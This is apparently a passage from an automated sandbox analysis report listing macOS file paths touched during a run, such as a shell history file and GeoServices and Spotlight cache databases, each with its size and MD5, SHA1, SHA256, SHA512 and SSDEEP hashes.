- MD5 2f01f7a00c85e424f82b00b2bf794a7c
- SHA1 c75cb52aa31012888dd7c65373d5faba6048c425
- SHA512 75131e0145182653cef2edbb968853c9cb3c26c37c5821f3cd69c3ecdde7979ae37e74ecea8ad333090a473177c6dad43bc34f94a8fd104cd4c9b16c8f7b54f8
- MD5 SHA1 SHA512
- Path /Users/run/.zsh_history
- Size 568B
- SHA256 b393110aaa539e2bffd039e1f41dc7f82cf879a2a37cbbc05ad4f99b58153dc7
- MD5 b10a28c54956c95a2d12bd5d5d8d8af5
- SHA1 10edddc4a500ade6ba1af2a86ebb80b83a7a9d90
- SHA512 a35593214667b2c278469ff679f49ff4578d89bc818f88903ab05e4af20f8535400fb564d2460310f8bce07060147f69ed90d44889c284cc0a96ec8774384fc1
- MD5 SHA1 SHA512
- Path /Users/run/Library/Caches/GeoServices/ActiveTileGroup.pbd
- Size 124KB
- SHA256 e733f1e4dd2764febffdbaa1046df59ceea33713da71dccd61ab6c9d66bbe24d
- MD5 a83c86abc14830f7e9b78f14fe1bca61
- SHA1 47a39aaea2fbc9c31865f290a02feb394ab2013b
- SHA512 4f36daaaada67cc566e8a1f06ee5e1921a5c1900f34951e15a058e4dba8b694bc4c3b5a74cea7326c5c2af22a3b9495fe91ced532ae509d1fe64f3efa638a142
- SSDEEP 3072:cG1qf+GRONTVwEJcrhslHsj0YgN0fT7V/CEF7tPGqpyqA7icNCRqcn:cGqf+GRONWralMj0Ze7tOiHn
- MD5 SHA1 SHA512 SSDEEP
- Path /var/db/locationd/Library/Caches/GeoServices/Resources/altitude-1202.xml
- Size 157KB
- SHA256 f1d2905b871b9b80172b7c9dc298c1a3dd355e6ae633f77562f4e06ed52a54e7
- MD5 f627cf4820da06be8e6ff3fdec6ebfee
- SHA1 993d8ec88721b9e76c3fe1f5987338a61b452bf8
- SHA512 bf698aa0eee296df872b91432670af719bda88be3b6d210a567b500da1cedc0e07055a805c2331ccacea0a8a17396e2e37b4bf70894b9052723049c96083001f
- SSDEEP 768:SmSaD5wrMhcpPXOqMyDwnW8arz4DZKrj4zvJq2ZW/gt8VxtaxU3B4c4lWDSr/g2i:SmSsJbyoba6TU6CDTwlHEkmXCy
- MD5 SHA1 SHA512 SSDEEP
- Path /var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C//mds/mdsDirectory.db
- Size 47KB
- SHA256 cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030
- MD5 0e4a0d1ceb2af6f0f8d0167ce77be2d3
- SHA1 414ba4c1dc5fc8bf53d550e296fd6f5ad669918c
- SHA512 1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20
- SSDEEP 384:xSMdGleGkIG7FF3theSMVXBD0tgcNrGB5pBfbouR6/chQOnGqwc2U+v+h/:8MdGleOhpBouRwchQOnGqwc2U+v+h/
- MD5 SHA1 SHA512 SSDEEP
- Path /var/folders/zz/zyxvpxvq6csfxvn_n00000sm00006d/C//mds/mdsObject.db
- Size 4KB
- SHA256 3ebafa97782204a4a1d75cfec22e15fcdeab45b65bab3b3e65508707e034a16c
- MD5 d3a1859e6ec593505cc882e6def48fc8
- SHA1 f8e6728e3e9de477a75706faa95cead9ce13cb32
- SHA512 ea2a749b105759ea33408186b417359deffb4a3a5ed0533cb26b459c16bb3524d67ede5c9cf0d5098921c0c0a9313fb9c2672f1e5ba48810eda548fa3209e818
- SSDEEP 24:mFkXs98w/mBr53CEb9ujBbCYoVeA7uBEUMy733Ka2VCneWHrUZRJkWnJI4FNMOQS:m6Xsh+CLjL3Pe3T5FFEfEn8xiYuuSsS
- MD5 SHA1 SHA512 SSDEEP